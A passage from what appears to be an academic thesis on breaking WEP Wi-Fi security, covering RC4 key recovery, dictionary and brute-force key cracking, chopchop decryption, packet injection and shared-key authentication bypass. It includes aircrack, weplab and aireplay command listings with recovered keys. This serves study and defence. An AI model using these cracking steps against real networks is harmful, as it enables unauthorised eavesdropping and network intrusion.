anyone connected to a hub could eavesdrop on anyone else on the hub. With modern
switched Ethernets this is no longer the case, only the two entities communicating,
including all routers and switches in-between can eavesdrop on the tra�c. 2 With
WEP anyone authorized with the encryption key in aWi-Fi network can eavesdrop
on anyone else in the wireless network. Much like the early days of hubs and Ethernet.
Had it not been for the wayWEP is designed and implemented the security attributes
of WEP would match early wired Ethernet.

2Many switches can be tricked into behaving like a hub if their ARP table is full. Anyone
with access to the wire can �ll up the table by transmitting AR P packets with random addresses.
Described as CAM table over
ow in [13].
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To enable wired equivalent privacy,WEP has the following security services spec-
i�ed in IEEE 802.11 [22, Sec. 6.1.2]:

1. Con�dentiality,

2. Authentication,

3. Access control.

The following sections will illustrate the fact that no matter how aWi-Fi network
is con�gured with WEP, it is always possible to break the three services. This is
possible due to details in the design ofWEP. The access control is not really provided
by WEP. In fact this is the only mention of access control in the entire text of the
802.11 standard. It is probably a reference to the use of theMAC address to deny
authenticated clients access. E.g. a client is not allowed to use the network after-
hours, or not allowed to use a particular access point. Breaking this sort of access
control based on theMAC address is demonstrated in Section3.5.1. Access control
may also be the idea that \clients" which aren't authenticated, and who may be
attackers, cannot transmit anything into the network. Unauthorized packet injection
is demonstrated in Section3.3.4.

The operation ofWEP is best described in theIEEE 802.11 standard [22, Ch. 8.2].
Figure 3.2 illustrates the operation of WEP. WEP uses the RC4 Pseudo Random
Number Generator (PRNG) Algorithm from RSA Data Security, Inc [31]. All stations
including the access point in a network share the same secretWEP key. In order to
encrypt data, an IV is concatenated to theWEP key and used as a seed to RC4 in
order to get a key sequence. The key sequence is XORed with theplaintext and an
Integrity Check Value (ICV). The cleartext Initialization Vector ( IV ) is concatinated
with the ciphertext and transmitted in the payload �eld of th e frame. The receiver
or receivers follow roughly the same procedure in reverse order for decryption.

3.3.2 Breaking Con�dentiality

Con�dentiality is protected by encrypting all application level data. With WEP there
are seven ways a hacker can decrypt the communication:

1. Obtain the WEP key through the weakness in the RC4 key scheduling algo-
rithm.

2. Obtain a passphrase seeded WEP key through a dictionary brute-force attack.

3. Decrypt packets with the help of a knownIV /key sequence database.

4. Inductive chosen plaintext attack.
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5. \Double encryption" is equivalent to decryption.

6. Redirect encrypted packets to anIP controlled by the hacker.

7. Try every single possibleWEP key and check the validity of the key, o�ine.

The second and fourth case will only work in speci�c cases. The third case will
require a little patience and a few giga bytes of disk storage. The �fth will require a
lot of patience. The sixth will require the target network tobe attach to a network
or host under the attackers control, e.g attached to the Internet. The �rst and
best method however will work as long as it is possible to capture the encrypted
packets. With \ IV acceleration" described in Section3.3.5, the �rst method will
succeed in anywhere from one minute to roughly twenty minutes after capturing the
�rst encrypted packet. Without an active attack, it may take up to a couple of weeks
under low tra�c conditions. The time span of the other attacks usually vary from a
few minutes to a few days.

3.3.2.1 Recover WEP Key|RC4 Key Scheduling Weakness

The biggest contribution to the failure of WEP is quite certainly the ability for a
malicious hacker to obtain the secretWEP key. Nothing more than access to the
radio signal, o�-the-shelf Wi-Fi equipment, and open-source software are required.
The attack to compromise the key was �rst described in \Weaknesses in the Key
Scheduling Algorithm of RC4" [32].

To summarize the attack, some of the keys which are seeded to RC4 and generate a
key sequence, expose bits of the actual key used. The value ofthe initial key sequence
is determined by a small part of the key. When comparing a great number of key
sequences generated by the set of \weak keys", statistics will point to a speci�c secret
key. The set of weak keys can be identi�ed by theIV which is the �rst 3 bytes of the
key seeded to RC4. A verbal description of the steps involved:

1. Capture an encrypted frame.

2. Extract the IV and �rst two bytes of the key stream.

3. Ignore frame if theIV doesn't point towards a \weak" RC4 key.

4. From the extracted information, determine a probable value of a byte of the
key.

5. Go to �rst step again until a large number of frames are captured, or the key is
recovered.
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6. When a lot of frames have been captured, check if the keys with the most votes
are valid.

In the original attack, circa 5,000,000 uniqueIV s were required to �nd the secret
key. Later, in 2002, David Hulton published an article [19] on how to optimize
the attack. His implementation of the attack and optimization required only circa
500,000 uniqueIV s to recover theWEP key. The implementation is available in
Hulton's BSD-Airtools [18]. Aircrack [11] has another implementation of the attack
and optimization. An anonymous hacker, \KoreK", further extended the attack in
2004 with a variety of algorithms to calculate votes on key bytes. With all the attacks
enabled it is not uncommon to recover theWEP key after collecting less than 300,000
unique IV s.

The Aircrack tools are used to demonstrate the attack in thisthesis. When using
Aircrack, the steps above are divided among two tools. Airodump captures the frames
and logs the interestingIV s and encrypted bytes. The actual Aircrack program goes
through the collected data, builds a database of votes, and performs the validation
checking of the probableWEP keys.

Listing 3.1: Airodump
# airodump packets eth3

BSSID CH MB ENC PWR Packets LAN IP / # IVs ESSID

00:12:17:49:D1 :81 11 48 WPA -1 289826 253343 HomeNet
00:12:17:6 F :92:33 11 48 WEP -1 4725 0 linksys

Airodump in Listing 3.1 displays all networks which it is capturing packets from
and some parameters of them. The amount ofIV s it has seen is of most interest,
253,343 for the network under attack; \HomeNet".

Listing 3.2: Aircrack
# aircrack packets

aircrack 2.1

* Got 231129! unique IVs | fudge factor = 2
* Elapsed time [00:00:03] | tr ied 1 keys at 20 k/m

KB depth votes
0 0/ 1 2A( 57) 3D( 15) 09( 12) 5E( 12) 73( 12) DF( 12)
1 0/ 1 B1( 53) 6B( 25) 3C( 13) 58( 13) 59( 13) DC( 12)
2 0/ 1 DD( 96) 59( 15) A4( 15) AF( 12) B5( 12) 2A( 5)
3 0/ 3 37( 36) 10( 23) 97( 18) 22( 15) 5A( 15) 34( 12)
4 0/ 1 6E( 68) 1C( 21) CA( 15) A0( 13) 59( 12) 7F( 12)
5 0/ 3 93( 263) F3( 175) AD( 170) 8D( 45) 0C( 40) 0B( 38)
6 0/ 3 57( 25) 71( 16) C4( 12) 72( 11) 38( 10) F1( 10)
7 0/ 1 D7( 113) AE( 18) F6( 15) 04( 12) 91( 12) 41( 10)
8 0/ 1 7B( 116) CC( 20) 85( 18) 8F( 18) 7E( 15) BF( 14)
9 0/ 1 8D( 49) D4( 18) 08( 15) 6C( 15) E9( 15) 42( 12)

10 0/ 1 54( 37) 41( 16) E8( 16) 8F( 15) 09( 12) 0E( 12)
11 0/ 1 67( 115) BD( 22) 35( 18) 7C( 18) 29( 15) DC( 15)
12 0/ 1 B0( 38) 2C( 15) 5E( 15) 67( 15) 69( 12) 83( 11)
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KEY FOUND ! [ 2 AB1DD376E9357D77B8D5467B0 ]

In Listing 3.2 Aircrack is running. The screen shows how Aircrack tries many
di�erent keys to see if it can be the secretWEP key. The bits of the key that are
chosen depend on the number of votes they get. The votes are enclosed in parenthesis
next to the key byte. The number of di�erent bytes to try for each byte of the key
is controlled as the \fudge factor", and is displayed on the screen as depth. With a
higher \fudge factor" more keys will be tested. The more votes a key byte get, the
more likely it is to be the correct key byte of the secret key. When enough packets are
captured, the statistics usually point towards the correctkey. In this case all the bytes
of the key that had the most votes were the correct bytes, and so the �rst key that
Aircrack tested was the correct key:2A-B1-DD-37-6E-93-57-D7-7B-8D-54-67-B0.

Under the experiment, circa 4,800 packets/second were sentover the link. This
�gure includes the data frames in each direction as well as the corresponding acknowl-
edgment frames. Roughly 2,900 data packets with uniqueIV s per second means the
total time for the attack was 231; 129=2; 900 � 79 seconds. The fast rate of 4,800
packets/second was possible because of access to the internal network: tiny packets
were poured into theWi-Fi network as fast as possible.

In a more credible situation where the attacker lacks accessto the internal network,
the process of collecting enoughIV s will occupy more time. In Section3.3.5a method
commonly referred to as \IV acceleration" is presented. \IVacceleration" enables the
attacker to collect IV s at a rate up to roughly half of what would be possible if he
had access to the internal network. A few extra problems arise with packet injection
and the fastest rate achieved in this thesis was 800 injectedpackets/second. The case
above used in conjunction with \IV acceleration" would takejust under �ve minutes
to recover theWEP key.

In most cases more than 231,129 uniqueIV s are needed to crack a key. The
\quality" of the collected IV - ciphertext pairs in relation to cracking varies quite
a bit. There are cases when 10,000,000 uniqueIV s don't result in recovering the
key. The attack is based on statistical analysis and sometimes this fact may cause
the cracking of the key to fail. Some collections ofIV s and ciphertext seem to bias
the statistics in the wrong direction. This fact was recently acknowledged by the
author of Aircrack and since then parts of the key cracking algorithm, speci�cally the
\KoreK" algorithms, can be disabled, as well as the possibility to purely brute forcing
the last two bytes of the key. A sample set of collected packets, encrypted with a 40
bit key, provided in [17] show that when 174,476 uniqueIV s are used to setup the
attack, Aircrack can �nd the key after testing 1,184 keys (8 seconds time). But if we
extend the number of collected packets to 331,829 uniqueIV s, Aircrack will give up
after a few minutes.
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3.3.2.2 Recover a Passphrase Seeded WEP key

Most Wi-Fi equipment will accept a passphrase when initially setting up a WEP en-
crypted network. The passphrase is used to generate theWEP key. Vendors have dif-
ferent methods of using the passphrase to construct the �nalWEP key. One method
used is to hash the passphrase withMD5. As the MD5 hash needs 128 bits as input,
the passphrase is extended. The extension varies at least between 3com and Linksys.
While 3com NULL pads the passphrase, Linksys will repeat thepassphrase string until
it is 128 bits long. E.g.simba123is inserted assimba123 + 0x00...0x00in 3com and as
simba123. . . simba123in Linksys equipment. The �nal MD5 hash in 3com equipment
becomes2A-B1-DD-37-6E-93-57-D7-7B-8D-54-67-B0-AC-2D-A2and C3-8B-C1-61-
4B-EB-F4-8C-7C-E7-99-58-79-C7-AF-39in Linksys equipment. Only the �rst 104
bytes are chosen for theWEP key.

It is relatively straight forward to mount a dictionary atta ck against this. The
ICV is used to verify if the packet was decrypted with the correctkey. A few extra
packets should be tested to eliminate false positives.

How a software tool performs the brute-force attack:

1. Fetch aWEP encrypted packet and extract the IV, encrypted payload (including
ICV .)

2. Select a word from a dictionary, and hash it as mentioned above.

3. Append the generatedWEP key to the extracted IV .

4. Using RC4, generate a key sequence as long as the extractedpayload.

5. XOR the payload and key sequence (decrypt).

6. Calculate theICV of the decrypted data.

7. Test if the calculatedICV matches the extractedICV .

8. If they match, the guessedWEP key may be the correctWEP key.

9. Further check by testing the key against moreWEP encrypted frames, or look
at the decrypted payload and see if it makes any sense.

WEPLab is a software tool can perform the steps automatically. It needs a set
of WEP encrypted frames and a list of passphrases. If the correct passphrase is in
the list, WEPLab will eventually test if it is the correct WEP key, and display it. To
eliminate false positives, it tests the keys against 10 packets.
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Listing 3.3: WEPLab testing passphrase seeded WEP keys.
hal lvar@apuk :~/ Tools /weplab -0.1.4 $ john -w :../ norwegian -stdout |./ weplab -y -d
1 --attack 3 -k 128 ~/ dump/ dump2 . cap
weplab - Wep Key Cracker Wep Key Cracker (v0 .1.4) .
Jose Ignacio Sanchez Martin - Topo [LB] < topolb@users . sour ceforge .net >

18 % readNot BSSID specif ied .
Detected one packet with BSSID : [00:13:10:9 B :47: F1]
Only packets belongs to that BSSID wil l be processed .
If -a option reveals other BSSIDs you can specify one with --b ssid .

Total valid packets read : 11
Total packets read : 260
10 packets selected .
Packet 0 --> 86 total lenght , 58 data lenght ( just encrypted d ata )
Packet 1 --> 86 total lenght , 58 data lenght ( just encrypted d ata )
Packet 2 --> 86 total lenght , 58 data lenght ( just encrypted d ata )
Packet 3 --> 116 total lenght , 88 data lenght ( just encrypted data )
Packet 4 --> 104 total lenght , 76 data lenght ( just encrypted data )
Packet 5 --> 104 total lenght , 76 data lenght ( just encrypted data )
Packet 6 --> 368 total lenght , 340 data lenght ( just encrypte d data )
Packet 7 --> 368 total lenght , 340 data lenght ( just encrypte d data )
Packet 8 --> 368 total lenght , 340 data lenght ( just encrypte d data )
Packet 9 --> 96 total lenght , 68 data lenght ( just encrypted d ata )

Statist ical cracking started ! Please hit enter to get stati st ics from John .
Weplab statist ics wil l be printed each 5 seconds

It seems that the first control data packet verif ies the key ! Let 's test it
with others ....
Right KEY found !!
Key : c3 :8b:c1 :61:4 b:eb : f4 :8c :7c :e7 :99:58:79
This was the end of the dictionnary attack .

Listing 3.3shows WEPLab in action when trying to brute-force guess the passphrase
of a secretWEP key. The initial command \john -w../norwegian -stdout" is an invo-
cation of a popular password generator tool called \John theRipper". It takes words
from a Norwegian word list, and combines the words in ways that a user might do
when choosing a passphrase. The generated passphrases are piped to WEPLab which
performs tests on the key the passphrase generates. As seen from the listing, WE-
PLab will at �rst print out some info such as BSSID and data length of the encrypted
frames it is provided with. Finally when WEPLab has found thecorrect WEP key
it will be displayed. In this example the passphrase wassimba123using the 3com
passphrase algorithm.

3.3.2.3 Double Encryption

WEP uses the exact same mechanism for encryption as it does for decryption. If a
station or access point by mistake encrypted an already encrypted frame, it would
in fact decrypt the frame and transmit the plaintext. How to perform the attack is
illustrated in Figure 3.3.
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Figure 3.3: How the double encryption attack works.

To decrypt the contents of a particular packet, the injection of the encrypted
contents must take place when the client or access point encrypts using the same
IV as the desired encrypted packet was encrypted under. As there are 224 IV s, this
makes the attack time consuming. Fortunately for an attacker, the number will be
much less if clients or access points �lter out some of theIV space. Some clients and
access points use a sequencing scheme and make the generation of IV s predictable
and enables an attacker to inject the packet a couple of timesat just the right time.

The most e�ective way of implementing the attack is to useICMP echo request/re-
ply packets. If possible, send anICMP echo request to a client on theWi-Fi network.
The payload of an echo request can be anything and it can be of any size, within the
limits of network. The payload should contain the encryptedpacket, with an o�set
equal to the length of all the packet headers. When the packetenters theWi-Fi net-
work, the access point will encrypt it. Send as many echo requests as possible until
the access point encrypts it under the wantedIV . What makes this attack about
twice as fast, is that when the client responds to the request, it will send the exact
same payload in return, and encrypt under another newIV .

The o�set to use in the ICMP version of the attack is 40 bytes: 8 bytes ofSNAP
headers from Ethernet, 24 bytes for theIP header, and 8 bytes for theICMP header.
What this means is that everything but the �rst 40 bytes can bedecrypted. If the
encrypted packet isTCP/ IP, then the TCP/ IP header is at least 24 + 32 = 56 bytes
long. Which ultimately means it is possible to decrypt all the data in a TCP/ IP
packet, and 56� 32 = 24 of the last bytes of theTCP header|only the source and
destination port numbers of theTCP header, are lost.

There is another way to have a participant in the network encrypt arbitrary data.
In the challenge-response scheme ofWEP authentication, the access point will give
a nonce to the client, and the client is asked to encrypt it using the conventional
WEP encryption method. An attacker could send a de-authentication frame to the
client. When the client tries to re-authenticate the attacker can send the payload of
the encrypted packet as the nonce. The attack will expose the�rst 128 bytes of the
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encrypted payload. With roughly 0.5 attempts per second, asachieved in Section
3.3.5.2, and the client encrypting each time under a newIV , from an un�ltered IV
space, it will take roughly at most 9320 hours, or circa 388 days. 50 % chance
of success after half this time. Only in rare cases will an attacker even succed at
persisting an attack for such a long period of time, especially such an evasive one.

If this was the only available attack againstWEP, it could for instance be used to
recover passwords from cleartext protocols such as many of those for checking e-mail.
The exact frame containing the password can be guessed by matching communication
patterns and frame sizes against those common to a protocol.Since there are vulner-
abilities that are easier and more powerful, there are currently no publicly available
tools to automate this attack.

3.3.2.4 Inductive Chosen Plaintext Attack

Redundant information about the encrypted data is providedby the (encrypted) ICV .
The ICV is used to check whether a packet is valid or not. If the packetis valid it
will be acted upon by the recipient. If it's not valid it will b e dropped. Under these
circumstances in aWEP encrypted Wi-Fi network, an inductive chosen plaintext
attack can be performed to decrypt one encrypted frame at a time:

1. Capture an encrypted packet which seems interesting.

2. Guess with high certainty the �rst n bytes of the data.

3. Calculate theICV over the n � 3 bytes.

4. Concatenate then � 3 bytes and theICV then XOR it with the matching key
sequence.3

5. Append a brute-force guessed byte.

6. The packet is transmitted to the access point.

7. If the packet is valid, the last byte is the last byte of theICV . The actual
decrypted value of it is at this point unknown. However, since all bytes before
the last byte is known, applying the Cyclic Redundency Check(CRC) on the
known data to construct theICV will reveal the real value of the last byte|and
thus the byte of the key sequence.

8. If the packet is invalid, go to step 5 and guess the value of the last byte to
something else.

3The key sequence is obtained by XORing then bytes with the real encrypted packet.
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The attack is described in Real 802.11 Security [14, p. 326-329], co-authored by
Professor William A. Arbaugh, who discovered the attack in 2001. They have a
closed implementation which they claim can decrypt a full-size 1500 byte data frame
in an average of 42.8 minutes. A variation of the attack was implemented by the
anonymous hacker, \KoreK", who published the implementation as a software tool,
Chopchop [24] in 2004 to an on-line discussion forum [1]. The \KoreK" variant of
the attack performs the attack in reverse order on the data. It starts by guessing the
last byte of the packet until it reaches the 9. byte. The �rst 9bytes will be guessed
based on very common headers in data packets.

The time it takes to decrypt the frame grows only linearly with the its length. In
fact the attack introduces the possibility to obtain an arbitrarily long key sequence,
from any size data frame. E.g. obtain a 1,500 byte key sequence even from a 64 byte
long frame.

Listing 3.4: Aireplay performing a chosen plaintext attack.
# ./ aireplay -h 00:0E :35: A3 :0F :56 -k eth3
Option -x not specif ied , assuming 256.
Seen 26 packets ...

FromDS = 0, ToDS = 1, WEP = 1
BSSID = 00:0D :54:9 D:EC :4B
Src . MAC = 00:0E :35: A3 :0F :56
Dst . MAC = FF:FF :FF :FF :FF :FF

0 x0000 : 0841 0000 000 d 549 d ec4b 000 e 35a3 0 f56 .A ....T ..K .. 5.. V
0 x0010 : fff f f f f f f f f f 1004 807 f 5300 6295 ff14 .... . . . . S.b . ..
0 x0020 : ea41 744 e 6548 787 d 6cc5 0c26 c6cb c428 . AtNeHx }l ..& ...(
0 x0030 : 5802 332 e 303 e 52b8 a718 ddba a2bc bf7a X .3.0 > R ..... . . . z
0 x0040 : be9d 58 da ..X.

Use this packet ? y

Saving chosen packet in replay_src -050622 -010218. pcap

Operating in authent icated mode .

Offset 67 ( 0% done ) | xor = 2F | pt = F5 | 235 frames written in 919 ms
Offset 66 ( 2% done ) | xor = 76 | pt = 2E | 223 frames written in 870 ms
Offset 65 ( 5% done ) | xor = 40 | pt = DD | 4 frames written in 15 ms
...
Offset 36 (91% done ) | xor = 65 | pt = 00 | 221 frames written in 86 3 ms
Offset 35 (94% done ) | xor = 48 | pt = 06 | 253 frames written in 98 8 ms
Offset 34 (97% done ) | xor = 7C | pt = 08 | 231 frames written in 90 3 ms

Saving plaintext in replay_dec -050622 -010218. pcap
Saving keystream in replay_dec -050622 -010218. prga

Completed in 23s (1.30 bytes /s)

# hexdump eplay_dec -050622 -010218. prga

0000000 7 f80 0053 3 fc8 14 fc 41 ea 487 c 4965 7d70
0000010 c16a 270 c c5c6 8 bf1 5457 86 f3 2531 b852
0000020 18 a7 badd 1462 7 fbe 40 d1 2 f76
000002 c
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# tcpdump -r replay_dec -050622 -010218. pcap
reading from fi le replay_dec -050622 -010218. pcap , link - t ype IEEE802_11 (802.11)
01:02:18.889097 arp who - has 192.168.1.5 tel l 192.168.1.2 7

Listing 3.5: TCPDump displaying the decrypted frame.
# tcpdump -r replay_dec -050622 -010218. pcap
reading from fi le replay_dec -050622 -010218. pcap , link - t ype IEEE802_11 (802.11)
01:02:18.889097 arp who - has 192.168.1.5 tel l 192.168.1.2 7

Listing 3.6: Hexdump displaying the key sequence.
# hexdump eplay_dec -050622 -010218. prga

0000000 7 f80 0053 3 fc8 14 fc 41 ea 487 c 4965 7d70
0000010 c16a 270 c c5c6 8 bf1 5457 86 f3 2531 b852
0000020 18 a7 badd 1462 7 fbe 40 d1 2 f76
000002 c

Listing 3.4 shows the tool \aireplay" from Aircrack perform the \KoreK" ver-
sion of the attack (parameter-k). The tools purpose is to get a key sequence and
therefore it will sni� for packets it believes it will be able to decrypt fast. The -h
00:0E:35:A3:0F:56will force aireplay to only consider packets sent by that particular
MAC address. After looking at 26 frames, it found one it believesis easy to decrypt.
The user is prompted if the tool shall try to decrypt the packet. When acknowledged
by the user the attack begins. The �rst byte is found after trying 235 values for the
byte. The second after 223, and so on. When all bytes have beenretrieved, the key
sequence and plaintext is stored to �les. In this example, the frame was decrypted in
only 23 seconds. A trick to try several di�erent values for the last byte in parallel,
speeds up the attack considerably. The decrypted frame is displayed by \tcpdump"
in Listing 3.5. Listing 3.6 shows how the \hexdump" utility displays key sequences
stored in the .prga �le.

The \KoreK" attack used by Aircrack does have some issues. Itdoes not work
entirely on all access points. Some access points will discard any frame with a payload
of less than 40 bytes. Therefore the �rst 40 bytes of the ciphertext will not be
decrypted using the attack, however the later bytes can still be decrypted. What
this means for the �rst version of the attack is that the initial 40 bytes must be
known/guessed before deducing the plaintext of the rest of the data.

The Linksys WRT54G and WAP54G access points discard all packets with less
than 40 bytes of data. Very few access points have been reported to allow small
payloads. The example above was brute forced against a Prism54 PC-Card running
Linux and the prism54 drivers in master mode. \Master mode" is when the network
card is acting as an access point.

In WPA an additional integrity check mechanism is implemented using a Message
Integrity Code (MIC). The MIC uses a separate key for the generating its value and
protects against this attack.
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3.3.2.5 IV and Key Sequence Database

Given anIV and a related key sequence, it is possible to decrypt any other frame using
the sameIV |up to the length of the key sequences. By compiling a database of all
possibleIV s and the matching key sequences, the decryption of any encrypted frame
becomes trivial. The actual encryption key is not retrieved, but it's not required
either once you have the key sequence andIV . There are 224 possible IV s. The
largest possible data payload is approximately 1,500 bytes. A complete database
would occupy only 24 GB.

The best way to compile such a database is to take advantage ofthe inductive
chosen plaintext attack in the previous section, andICMP echo requests in the same
manner as used in the double encryption attack in Section3.3.2.3. Using the inductive
chosen plaintext attack, a full-length key sequence can be obtained. With that single
key sequence, the rest of the key sequences with their uniqueIV s are trivial to get.
By injecting full-length ICMP echo requests to any client in the network, it will reply
with the exact sameICMP data as was in the injected packet. Thus the plaintext
and ciphertext become known, and thus also the key sequence.

With an injection rate of 800 packets/second, and 800ICMP replies per second, a
complete database ofIV s and key sequences can be constructed in 224=800� 20; 972
seconds, or under 6 hours. If there are several networks using the same key, the attack
can be done in parallel and cut the time dramatically.

Usually access points and clients �lter out what they believe are weakIV s. The
result is a decreased number of uniqueIV s that will ever be used, much less than
the full space of possibleIV s. Real 802.11 Security [14] suggests the most aggressive
�ltering reduces the IV space to 218 = 262; 144 uniqueIV s. A database of them can
be constructed in just over 5 minutes, with a fairly high injection rate.

262,144 is less uniqueIV s than what the attack to crack theWEP key is expect
to require. However the aggressive �ltering is not apparentin any of the Wi-Fi
equipment tested during this thesis. Someone has yet to �nd the time to implement
this attack for public consumption, but it would certainly be a welcomed addition.
An advantage of this attack is its total independence of the size of the WEP key.
Even a 1 Mbit key has no e�ect against the attack.

3.3.2.6 Redirecting packets

Notably, \Integrity" is not a service provided by WEP, but to be fair, an equivalent
wire doesn't provide any integrity features either. However the IEEE 802.11 standard
[22], Section 8.2.3, speci�cally states there is anICV calculated over the data payload
to \protect against unauthorized data modi�cation". The ICV is implemented as a
CRC which does not provide protection against malicious modi�cation. An attacker
is able to 
ip bits in the data �eld along with the appended ICV to modify data and
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not alert the recipient about the modi�cation. The recipe for correcting the ICV after
modi�cation is provided in the appendix of Real 802.11 Security [ 14].

An attacker may try to change the destination of the packet tohave it transported
to some machine he controls. He must have knowledge of two things in order for the
attack to work; position of the destination address in the packet, and the original
destination address. If he has that he can XOR the original known address with the
encrypted address to obtain the key sequence for those speci�c bytes. He can then
XOR the key sequence with an address of his liking and replacethe result with the
encrypted original bytes. Now he must modify the encryptedICV so that the frame
remains valid.

At �rst, this attack seems to require the attacker to be in a man-in-the-middle
position. Only the attacker must see the original tra�c, such that the access point
only will receive the modi�ed frames, and not the original ones. But the attacker can
capture tra�c, modify the headers, and retransmit to the network at any time.

There is more complexity involved, such as making sure a packet is passed through
routers and/or �rewalls. No software tools for redirect attacks or packet modi�cation
of this sort is known to the general public, a likely reason for that is the simplicity of
cracking theWEP key instead.

3.3.2.7 Brute-Force the WEP Key

WEPLab as mention in Section3.3.2.2also provides an easy means of testing ev-
ery single possibleWEP key against validity. It manages to guess roughly 300,000
keys/sec on a Pentium M 1.86 GHz. On a 104 bit key, this will on average take
2,143,836,631,537,678,676 / 2 years! A 40 bit key however, will have a probability
of over 50 % of being found after 21 full days. 21 days is manageable, and part of
why 40 bit was the key length limit whenWi-Fi equipment �rst was allowed to be
exported out of the USA. Not far fetched to say that a well equipted government
or organization could crack a 40 bit key by brute-force by thetime Aircrack had
collected enoughIV s to perform its key cracking.

In Listing 3.7 is the start of a brute force session against a 40 bit key. WEPLab is
executed with-b and -k 64 to tell it to brute-force guess a 40 bit key. First it reads in
a large number of captured packets which are stored in the �ledump.cap, then selects
10 of them to validate keys that are guessed. Finally the process of guessing keys
is started, the last line says it so far has tested 16,941,566keys at a rate of 308,028
keys/second, and the current key it is testing isfd:81:02:01:00

Listing 3.7: WEPLab brute force cracking.
$ weplab -b -d 1 -k 64 dump.cap
weplab - Wep Key Cracker Wep Key Cracker (v0 .0.8 - beta ).
Jose Ignacio Sanchez Martin - Topo [LB] < topolb@users . sour ceforge .net >
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Total valid packets read : 333539
Total packets read : 1149079
10 packets selected .
Packet 0 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 1 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 2 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 3 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 4 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 5 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 6 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 7 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 8 --> 60 total lenght , 32 data lenght ( just encrypted d ata )
Packet 9 --> 269 total lenght , 241 data lenght ( just encrypte d data )
Launched process number 0

Process number : 0 ===> 16941566 keys tested [308028 c/s] >>> Key : fd :81:02:01:00

3.3.3 Breaking Authentication

3.3.3.1 The Authentication Mechanism

Figure 3.4: Shared key authentication protocol.

There are two authentication modes:

Open System: Allow anyone to associate with the access point.

Shared Key: Only allow clients who know the shared key to associate.

Open system authentication is a null authentication mechanism, therefore there
really isn't anything to discuss about it. Shared key authentication utilizes a simple
challenge-response scheme illustrated in Figure3.4. When a client tries to connect
to an access point it will receive a cleartext random string,referred to as a nonce
or challenge-text. In order for the client to authenticate itself it proves that it has
knowledge of theWEP key by encrypted the nonce using conventionalWEP encryp-
tion: E(nonce) in the �gure. The access points decrypts the response; D(E(nonce)),
and checks if it matches the nonce it gave as a challenge. If they match the access
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point replies to the client with a positive authentication response, if not, a negative
response.

Shared key authentication can operate in bothWEP encrypted networks and
non-encrypted networks. In the latter caseWEP and a secretWEP key is still a
requirement, except all tra�c is sent in cleartext. The idea is that some might not
wish to have the overhead ofWEP encryption, yet only authorized clients should
have access to the network.

3.3.3.2 One-Way Authentication

A widely known weakness of the protocol is that there really only is a one-way au-
thentication taking place. The client authenticates itself to the access point, but the
access point does not authenticate itself to the client. Thus, it is possible to setup
a fake access point which masquerades as the real access point, and accepts the real
access point's clients. The fake access points are known asrogue access points. If
the meaning of the �rst frame was changed from \authenticateme" to \authenticate
yourself" then full authentication would be possible. The client could ask the access
point to authenticate, then the access point could ask the client to do the same.

3.3.3.3 Anyone Can Get Authenticated

There is a much bigger weakness than the one-way authentication issue. Anyone who
has a key sequence andIV of at least 136 bytes can authenticate to the access point.4

From Figure 3.2, Equations 3.1, 3.2, and 3.3 show how a real client constructs the
response to the challenge:

Keysequence= RC4(IV k W EP key) (3.1)

ICV = CRC32(nonce) (3.2)

E(nonce) = ( noncek ICV ) � Keysequence (3.3)

Notice that the step shown in Equation3.1is possible to skip if a key sequence and
IV is already known. The requirement to know theWEP key is eliminated. Depending
on the implementation in the access point, one may capture a valid challenge-response
session to obtain the key sequence. A good implementation should not allow the same
IV to be used more than once, ever. However the 802.11 standard only implies that
it should be avoided. If the use of anIV from a previously issued challenge-response
is refused, then there are other ways to obtain a key sequence, described in Section

4The client chooses whicheverIV it wishes.
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3.3.4.1. The weakness comes from the fact that the client doesn't in fact prove to
the access point that it knows the secretWEP key. The client only proves that it
can construct a packet with arbitrary content, which is easywhen you have the key
sequence andIV . The attack is also described in Real 802.11 Security [14, p. 330].

3.3.3.4 Circumvent by Spoo�ng

If authentication is enabled and encryption is not, the authentication is broken in
any case. Even if the authentication mechanism was perfect,it would not do any
good at stopping anyone from spoo�ng theMAC-address of an already authenticated
client. The means of getting access is identical to those mentioned for bypassingMAC
address �lters in Section3.5.1.

3.3.4 Packet Injection

It is possible to inject encrypted packets of arbitrary typeand data. An IV and
matching key sequence pair must be known to enable injection. In Section 3.3.2 the
methods of breaking con�dentiality result in exposed key sequences. Additionally a
key sequence can be recovered from the initial client authentication mechanism.

A key sequence can be used several times, even consecutively. This is because
there is no rule on the values of theIV |the IV is not a sequence number as it really
ought to be, and has been extended to be inWPA.

Once a valid key sequence has been collected, any data slightly less to the length
of the key sequence can be injected.5 An ICV is calculated, appended to the data
and the result XORed with the key sequence, then �nally transported in a data frame
with the matching IV .

As mentioned in Section3.3.2.1, at least 2; 900=2 = 1; 450 packets/second should
be possible to inject. However in experiments of retransmission and packet injection
some access points (at least Linksys WRT54G) seem to completely lock-up whenever
more than 800 packets/second are pushed down its throat. Theaccess point needs
a power-cycle to recover. All injected packets will be answered by the access point
with a deauthentication frame. A very probable reason for this is that the reply
from the access point is never acknowledged with an acknowledgment frame from the
attacker. Thus the access point will know something is wrong. A more complete
implementation could transmit acknowledgments, but due totiming di�culties of
doing this all in software and monitor mode, it may not help toincrease the number
of injected packets/second.
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Figure 3.5: Obtaining the key sequence from the initial authentication.

3.3.4.1 Obtaining a Key Sequence

Obtaining the key sequence is trivial when con�dentiality is broken, as demonstrated
in Section3.3.2. Another way to obtain a key sequence is when shared key authenti-
cation is enabled, as will be demonstrated here. The nonce and E(nonce) in Figure
3.4 is a plaintext and ciphertext pair and give an attacker a key sequence 136 bytes
long after XORing them together. TheIV is always transmitted in cleartext.

In case there is encryption in addition to authentication, there is no real reason
why shared key authentication should be used. Encryption initself will provide the
same level of authentication since only client who know the secret WEP key can
encrypt packets and communicate. Therefore, in contradiction to intuition, shared
key authentication should be turned o� for security reasons! Usually it is not enabled
either. Open system authentication is the default authentication mechanisms, so
unless de�ned explicitly this method of obtaining the key sequence will seldom give
results. With a fake access point, it may be possible to forcethe client to authenticate,
but that depends on the security settings the client is using.

Even the IEEE 802.11 standard of 1999 [22] states the possibility of unauthorized
discovery of the key sequence during the authentication phase. The recommendation
it gives is to avoid using the same key sequence andIV pair in subsequent frames.
